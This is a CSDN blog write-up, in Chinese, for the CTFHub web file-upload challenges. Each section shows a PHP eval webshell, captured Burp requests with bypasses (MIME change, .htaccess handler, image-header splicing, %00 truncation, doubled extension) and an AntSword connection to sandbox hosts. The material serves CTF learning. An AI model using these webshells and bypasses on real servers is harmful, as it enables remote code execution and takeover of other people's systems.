[CTFHub] Web 文件上传 Write ups

最新推荐文章于 2023-03-31 16:48:03 发布
最新推荐文章于 2023-03-31 16:48:03 发布
阅读量431 收藏
点赞数
分类专栏： CTF 文章标签： CTF CTFHub Web 00截断 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45646006/article/details/113890188
版权

目录

无验证

新建php文件，上传。

<?php @eval($_POST["password"]);?>

页面回显上传的文件的相对路径：

upload/sh.php

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/sh.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

前端验证

用Burp Suite抓包页面发现JavaScript源码：

function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}

分析源码发现，只允许上传 .jpg .png .gif 这三种文件类型。

新建php文件，将文件后缀修改为 .php.jpg ，然后上传。

<?php @eval($_POST["password"]);?>

利用Burp Suite抓包：

POST / HTTP/1.1
Host: challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Content-Length: 314
Cache-Control: max-age=0
Origin: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFlwLA82ViKOQKBVw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="file"; filename="she.php"
Content-Type: image/jpeg

<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryFlwLA82ViKOQKBVw--

将Content-Disposition: form-data; name=“file”; filename="she.php.jpg"中的she.php.jpg改为she.php，然后放包。

页面回显上传的文件的相对路径：

upload/she.php

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/she.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

.htaccess

知识点

  • **.htaccess文件，**分布式配置文件，全称是Hypertext Access(超文本入口)
  • 它提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录
  • 作为用户，所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置
  • .htaccess文件是用于apache服务器下的控制文件访问的配置文件，因此Nginx下是不会生效的
  • .htaccess可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能

创建文件.htaccess，写入

AddType application/x-httpd-php .png
  • 作用是将 png 解析为 php

然后上传.htaccess

.htaccess另外一个写法
可以在.htaccess 加入php解析规则，把文件名包含1的解析成php
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
例如文件1.png， 就会以php执行。

创建文件1.png，写入

<?php @eval($_POST["password"]);?>

页面回显上传的文件的相对路径：

upload/1.png

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/1.png
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

MIME绕过

知识点

  • MIME（multipurpose Internet mail extensions）多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
  • MIME类型校验就是我们在上传文件到服务端的时候，服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测，如果是白名单所允许的，则可以正常上传，否则上传失败。

新建php文件，上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST / HTTP/1.1
Host: challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Content-Length: 329
Cache-Control: max-age=0
Origin: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSqmZMYn2GjVFjPL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="file"; filename="mime.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryqSqmZMYn2GjVFjPL--

修改 Content-Type: application/octet-stream 为 Content-Type: image/gif，然后放包。

页面回显上传的文件的相对路径：

upload/mime.php

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/mime.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

文件头检查

新建mime.php文件。

<?php @eval($_POST["password"]);?>

准备好一张1.png图片，可以用截图。

在终端使用命令

copy 1.png/b+mime.php/a 2.php

上传2.php，用Burp Suite截包

POST / HTTP/1.1
Host: challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Content-Length: 408
Cache-Control: max-age=0
Origin: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4slgB48rTk0v3ath
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary4slgB48rTk0v3ath
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream

‰PNG

修改 Content-Type: application/octet-stream 为 Content-Type: image/png，然后放包。

页面回显上传的文件的相对路径：

upload/2.php

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/2.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

00截断

知识点

0x00 ， %00 ， /00 之类的截断，都是一样的，只是不同表示而已。

在url中 %00 表示ascll码中的 0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束。

比如：

https://xxx.com/upload/?filename=test.txt 此时输出的是test.txt

加上 %00

https://xxx.com/upload/?filename=test.php%00.txt 此时输出的是test.php

这样就绕过了后缀限制，可以上传webshell啦~

注：php版本要 小于5.3.4 ，5.3.4及以上已经修复该问题

新建00.php文件，上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

截包发现road参数是/var/www/html/upload/，因此我们知道我们上传的文件是在这个目录下。但这不是真正的文件路径，具体的文件路径在JavaScript源码里面

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension']; //首先取到上传文件的扩展名$ext
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) { //将扩展名与白名单进行匹配，为jpg、png或gif才能通过第一次过滤
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后，为上传的文件构造了一个新的存储路径$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";·
    }
}

$des组成了我们最后的上传路径，如果我们把$_GET[‘road’]加入截断字符%00，那么之后所有的路径都会被截断，使得$des = $_GET[‘road’] . “/” . rand(10, 99) . date(“YmdHis”) . “.” . $ext;这段真正有效的是$des = $_GET[‘road’]，因为在move_uploaded_file($_FILES[‘file’][‘tmp_name’], $des)这个函数里读取$des时遇到截断字符%00发生了截断，导致存入路径就到%00之前，从而实现绕过白名单。

用Burp Suite截包

POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

修改 filename=“00.php” 为 filename=“00.php%00;.jpg”，这里只要以白名单里面的后缀结尾就行了，前面无论是什么都没有关系，这里可以有很多答案。

修改POST /?road=/var/www/html/upload/ HTTP/1.1，为

POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1

这里只要存在截断字符%00就行，截断字符之前是我们真正的文件名，%00后面无论是什么都没有关系，最后在move_uploaded_file()函数里都会被截断。

变为

POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php%00;.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

或者

POST /?road=/var/www/html/upload/00.php%00 HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--

然后放包。

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

双写后缀

用Burp Suite截包，发现源码：

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);

系统会自动把php字符替换成空字符，所以我们把php拆分开来，插入php，这样我们就可以在第一次过滤后依然存在php后缀。

新建00.php文件，上传。

<?php @eval($_POST["password"]);?>

用Burp Suite截包

POST / HTTP/1.1
Host: challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywsdBSAMfDwZE9zw2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream

<?php @eval($_POST["password"]);?>
------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarywsdBSAMfDwZE9zw2--

修改 filename=“00.php” 为 filename=“00.pphphp”，然后放包。

页面回显上传的文件的相对路径：

upload/00.php

利用蚁剑空白区域右击添加数据，设置如下：

URL地址  http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置，要跟$_POST[“password”]一致。

连接后查看网站文件，发现flag。

yym68686
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTFHUBWeb技能树——信息泄露writeup
生活·代码_这里是青_分享快乐
04-12 6624
CTFHUB writeup,web技能树之信息泄露，目录遍历、PHPINFO、备份文件下载、网站源码、bak文件、Vim缓存、.DS_Store、Git泄露、Log、Stash、Index；路径遍历攻击（也称为目录遍历）旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点-斜线”序列及其变化的文件或使用绝对文件路径来引用文件的变量，可以访问存储在文件系统上的任意文件和目录，包括应用程序源代码、配置和关键系统文件。需要注意的是，系统操作访问控制
CTF之旅（CTFHub技能树+详细Write up+已完结)（Web前置技能）
weixin_51563603的博客
08-07 4460
CTFHub新手之旅 首先我想稍微讲下个人经历，本人在今年寒假的时候初识CTF，当时还在攻防世界上做了一些题目，但是后来有人跟 我说攻防世界的题目比较老，建议我换个网站（这边没有诋毁攻防世界的意思，每个人有每个人的想法），后来也 因为学业较忙且基础太差无法开展此方面的学习，直到到了暑假，我自学完了一些编程语言包括Python、Java， 网页的前后端知识也有所了解后，我继续在CTFHub上了我的CTF之旅。 其实本人还是属于CTF小白，希望大家能够共同进步，那废话不多说开始看 Write Up 吧！ We
CTFHUB Web题解记录（信息泄露、弱口令部分）
豆傻小饼干随记
03-18 6894
以下内容只是自己做题的一个记录，不喜勿喷 一、信息泄露 1、目录遍历 这里通过观察目录的情况，发现目录都是 /flag_in_here/1/%d 的样式，于是构造脚本 #!/usr/bin/python3 # -*- coding: utf-8 -*- # --author：valecalida-- import urllib.request import urllib.re...
CTFHub 文件上传-00截断
weixin_44732566的博客
03-05 3949
CTFHub 文件上传-00截断 00截断有限制，php版本得低于5.3，并且GPC得关闭，一般在url上。 两种，%00和0x00,后台读取是遇到%00就会停止。 举个例子，url中输入的是upload/post.php%00.jpg，那么后台读取到是upload/post.php，就实现了绕后目的。 进入题目，上传一个名为post.php%00.jpg的文件，弹出一个上传成功的弹窗，上传成...
网络安全实验室CTF—上传关 writeup
Senimo
08-02 781
网络安全实验室CTF—上传关 writeup请上传一张jpg格式的图片1请上传一张jpg格式的图片2请上传一张jpg格式的图片3 网络安全实验室CTF链接 请上传一张jpg格式的图片1 请上传一张jpg格式的图片2 请上传一张jpg格式的图片3 ...
WEB大文件上传
03-23
在现代的Web应用程序中，用户经常需要上传大文件，如高清视频、大型图像集合或大容量的数据文件。"WEB大文件上传"是一个重要的技术主题，它涉及到如何有效地处理和优化大文件的传输过程，以提高用户体验并降低服务器...
Android上传文件到Web服务器 PHP接收文件
08-30
在Android应用开发中，有时需要将本地文件上传到Web服务器，以便进行数据交换或存储。本文将探讨如何实现Android客户端上传文件以及服务器端使用PHP接收文件的过程。 首先，客户端（Android应用）通常会通过HTTP...
Incognito-2.0-CTF-Write-Ups
04-19
【压缩包子文件的文件名称列表】"Incognito-2.0-CTF-Write-Ups-main" 提供的这个文件很可能是整个挑战的主文档，里面可能包含了解题步骤、工具使用、思路分析等内容。参赛者或者分享者可能详细记录了每个挑战的具体...
python文件写入write（）的操作
09-19
本篇文章将详细讲解Python中的文件写入操作，特别是`write()`函数的使用方法。 `write()`函数是Python内建的文件对象方法，用于向文件中写入字符串或字节数据。下面是一个简单的例子： ```python filename = '...
c++实现向web服务器上传文件
01-04
这段代码中，`CURLOPT上传FILE` 和 `CURLOPT上传DATA_NAME` 分别用于指定上传的文件和文件字段名，这在处理Web表单上传时非常重要，因为服务器端通常需要知道哪个字段代表文件。 对于服务端，由于标签中提到的是...
楚慧杯CTF初赛writeup
最新发布
tangshuangsss的专栏
03-31 795
点击"仙网攻城狮”关注我们哦~不当想研发的渗透人不是好运维让我们每天进步一点点包括web、misc、crypto、mobile, 由于时间问题pwn没搞出来，做个记录大家凑合看吧，直接从文档导入的图片要放大才能看得清，要原版UP可以自行下载：链接：https://pan.baidu.com/s/1Wxi2oU6ZciLQD6NwsS_6ZQ提取码：6666Webpython_easy题目点击fl...
[JMCTF 2021]UploadHub
D.MIND 的博客
05-19 1898
主要看apache2.conf配置文件： <Directory ~ "/var/www/html/upload/[a-f0-9]{32}/"> php_flag engine off </Directory> php_flag engine off是会使整个目录不解析php的，所以上传php文件是行不通的 这题主要在配置上给我们限制了很多，而.htaccess就是可以修改配置的一个文件，恰好此题是可以上传.htaccess的（此题似乎并不做上传限制） 方法一 .ht
buu-day08
anwen12的博客
01-05 573
又是早起刷题的一天 0x01 [FBCTF2019]Products Manager sql约束注入 在插入数据的时候，如果字段设置了应该插入的字符串长度，那么在添加的时候，如果有超过该长度的，就会被截断 mysql字符串比较 mysql == `mysql空格空格空格空格空格空格空格空格空格空格 可以看到sql的每个字段都进行了长度限制，并且在最后的位置并没有进行代码上的处理而是直接插入。所以，我们就可以开始操作了。 插入 name: facebook .
记一次CTF过程（Writeup）
热门推荐
_Ralph的博客
01-17 4万+
前言在i春秋平台看到几个ctf练习题，就点进去看看吧，能做就做不能做说明水平有限，还要继续加油（革命尚未成功，同志仍需努力）O(∩_∩)O哈哈~第一题：Robot题目名称：Robot有没有觉得这个题目很熟悉？没错robots.txt！很熟悉。可能解题思路就和robots.txt有关了。访问链接，网页显示位一张机器人的图片，没什么信息，网页源代码同样没有什么具有价值的信息。那我们就抓个包看看吧，用b
CTF-中文件上传（2）
欢迎来到神林的博客
04-18 7289
0x00:二次渲染 今天上午刚刚结束的DDCTF真的是让人脑壳很大，除了膜拜一波大佬之外，还get到了很多的新知识： 文件上传中，大部分题目回绕求我们上传图片格式，而我们就会伪造一些图片绕过验证，一些简单的前端验证还有一些服务器端的验证，都是比较简单的，但是有的时候就会涉及到比较困难的知识点，比如今天要说的：二次渲染 所谓二次渲染： 就是根据用户上传的图片，新生成一个图片，将原始图片删除，将新图片...
BUUCTF web部分writeup
西部壮仔的博客
04-03 1765
持续更新 [MRCTF2020]你传你????呢 很显然这是一道文件上传题,我们直接上传一个webshell.php 好像不行过滤了,我们抓一下包。猜测是验证文件的后缀，我们把文件后缀名php改成jpg emmmm,发现还是不行，修改一下Content-Type,修改成image/jpeg 后缀名再修改为php发现不能上传，猜测应该是验证了Content-type和文件的后缀名,我们爆破一下看看过滤了哪...
CTF考核writeup（1）
一段旅途
11-23 4213
在sql注入、文件上传和文件包含问题上，可以学到一些新思路。
CTF-练习平台部分writeup
hijack89的博客
04-03 4万+
CTF-练习平台writeupCTF-练习平台MISC滴答~滴看标题基本就知道是摩尔斯密码“.”、”-“，直接在线摩尔斯解密 聪明的小羊小羊。。。老套路 翻栅栏，栅栏密码。。。比较简单，直接看出来是两栏加密 KEY{sad23jjdsa2}这是一张单纯的图片？？看题目估计是道隐写术的题，先保存图片的说； 30分的题，估计不会太难，直接文本编辑器打开；文本末尾发现了一行转义序列： 看来这
CTF中文件上传及文件包含总结
None安全团队
12-15 4422
【文件上传】 一、前端检查 前端对文件后缀进行检查，该种通过抓包修改数据包即可解决 二、文件名检查 （1）大小写绕过 在windows下，可以将后缀写为pHp （2）unicode 当目标存在json_decode且检查在json_decode之前,可以将php写为\u0070hp （3）php3457 该项为apache专属 关键点在/etc/apache2/mods-available/php5.6.conf这个文件，满足.+\.ph(p[3457]?|t|tml)$，都会被当.
Web开发中的文件上传与下载实现
"web开发中的文件上传和下载是web应用中的常见功能，主要涉及前端页面的构建和后端服务器的处理。文件上传主要是通过在HTML页面中添加`<input type="file">`标签来实现，而文件下载则涉及到服务器如何响应用户的下载...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值